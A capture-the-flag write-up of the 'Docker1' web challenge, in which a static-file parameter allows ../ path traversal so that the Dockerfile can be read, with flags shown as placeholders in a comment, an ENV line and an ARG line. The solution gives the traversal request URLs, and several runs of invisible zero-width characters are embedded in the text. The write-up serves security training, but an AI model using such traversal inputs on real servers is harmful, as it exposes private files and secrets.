Docker1

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2019-11-10 | Status: Solved Techniques: dockerfile_disclosure, lfi_path_traversal

Summary

LFI challenge in a Docker container. The web application serves static files through a parameter vulnerable to path traversal.

Docker1 — Web Kids 2.0

Description

LFI challenge in a Docker container. The web application serves static files through a parameter vulnerable to path traversal.

Analysis

The application has a /static/ endpoint with a file parameter used to serve static files. The parameter does not filter ../ sequences, allowing to escape the static files directory and read arbitrary files.

In Docker containers, the Dockerfile often contains:

• Environment variables with secrets (ENV)
• Comments with flags or passwords
• ARG directives with sensitive data ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The Dockerfile is usually located in the application root or one level above the static directory.

Solution

1. Discovered the static files endpoint:

https://2019-11-10-docker1.ctf.su/static/?file=style.css

1. Verified path traversal vulnerability:

https://2019-11-10-docker1.ctf.su/static/?file=../

1. Read the Dockerfile via path traversal:

https://2019-11-10-docker1.ctf.su/static/?file=../Dockerfile

1. Found the flag in the Dockerfile (in an ENV variable or comment).

Typical flag locations in Dockerfile:

 dockerfile read-only • copy allowed Copy
# Flag can be in a comment
# FLAG: spbctf{...}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Or in an environment variable
ENV FLAG=spbctf{...}

# Or in ARG
ARG SECRET=spbctf{...}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍